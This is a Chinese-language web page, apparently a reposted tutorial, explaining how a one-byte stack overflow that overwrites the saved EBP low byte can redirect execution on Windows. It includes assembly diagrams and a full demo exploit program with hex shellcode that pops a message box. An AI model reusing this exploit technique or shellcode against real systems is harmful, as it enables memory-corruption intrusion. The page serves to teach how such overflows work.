您的位置:首页网络冲浪系统安全 → windows下越界一个字节也能导致溢出攻击

windows下越界一个字节也能导致溢出攻击

时间:2010/1/16 17:51:00来源:本站整理作者:我要评论(0)

windows下越界一个字节也能导致溢出攻击


【Visual C++】:windows下越界一个字节也能导致溢出攻击windows下越界一个字节也能导致溢出攻击

如下test()函数有问题,但我们不能覆盖ret 只能覆盖ebp低字节,我们又能作什么呢??

char buff[1024];
int i;
void test( )
{
char buffer[128];
/* . . . . . . . . . . . . . . . */
for(i=0; i<129 ; buffer[i]= buff[i++]);
/* . . . . . . . . .. . . . . . . */

}
void main()
{
/* . . .. . . ....*/
test();
/* . . . . . . .. . */
}

我们看看main 和 test调用时作了什么:

;test
;{
push ebp
mov ebp,esp
sub esp,128 ;为buffer预留空间


. . . ..

mov esp,ebp
pop ebp
ret
;}

在main中也如上:

看看 我们改写了ebp的低位后ebp将在main返回前传给esp

如果ebp能指向shellcode地址的低位那么main函数返回时将读入我们的地址作返回

在main返回前

esp = ebp
pop 地址
返回pop出的 地址
|shellcode的地址| ---->|
ebp ---->| ?? | |
| | |
| shellcode | <------

那么在main函数返回时我们的shellcode将被执行.

现在看看test中溢出覆盖ebp低位时如何,ebp也指向栈,当test中和main中栈内偏移不超过 255 字节时
高3位相同,仅修改低位就能指向buffer

比如buffer地址为 0x00463000
那么覆盖后如下
----------------------------------------------------------->
ebp
|ret | 0x00463000 +128 - 8 | 0x00463000| ?? | shellcode |
len: 4 4 4 4 120

main 返回时

mov esp,ebp ; ^
|
esp

pop ebp; ^
|
esp

ret 0; ok 我们的机器码被执行了!!!!


演示程序:


/*
Name : Ex_byte.c
Tested: windows95
by cloud 2001-6-5
*/


char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
char buff[500];
int i;
unsigned long * lp;
unsigned char * cp;
unsigned long addr;
//unsigned long * p;
DWORD getesp()
{
__asm mov eax,esp
__asm add eax,20
}
void test()
{
char buffer[256];
addr = getesp();
addr += 100;

cp = (char *)buffer;

for(i=0;i<252 - sizeof(shellcode) ;i++,cp ++ )
{
*cp = 0x90;
}
for(i=0;i<sizeof(shellcode);i++,cp++)
{
*cp = shellcode[i];
}
lp = (unsigned long *)cp;
* lp = addr;
lp ++;
cp = (char *)lp;
*cp -=20;

}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
test();
}
 

相关视频

    没有数据

相关阅读 腾讯雷霆战机雷霆尖锋满级攻击力属性 雷霆尖锋升级进阶攻略腾讯雷霆战机极光幻影满级攻击力属性 极光幻影升级进阶攻略腾讯雷霆战机怒火凤凰满级攻击力属性 怒火凤凰升级进阶攻略腾讯雷霆战机毁灭守卫满级攻击力属性 毁灭守卫升级进阶攻略腾讯雷霆战机超高速火炮满级攻击力属性 超高速火炮升级进阶攻略讨鬼传各boss攻击招式打法攻略三国来了刷钱加秘籍怎么用提升攻击方法个人心得攻略血之荣耀攻击技巧攻略

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 U盘传播的病毒 _ U盘病打开U盘才不会中毒的方 alg.exe是什么进程?能不能关闭?nsis error是什么?及解决方法蓝屏错误代码解析 看代码解决问题dotnetfx.exe是什么

人气排行 alg.exe是什么进程?能不能关闭?qq修复工具怎么用如何更改ie收藏夹地址位置(路径)无光驱,无U盘启动,怎样重装系统?nsis error是什么?及解决方法Generic Host Process for Win32 开机后总是六种修复崩溃后WindowsXP系统的技巧exp1orer.exe 病毒清除办法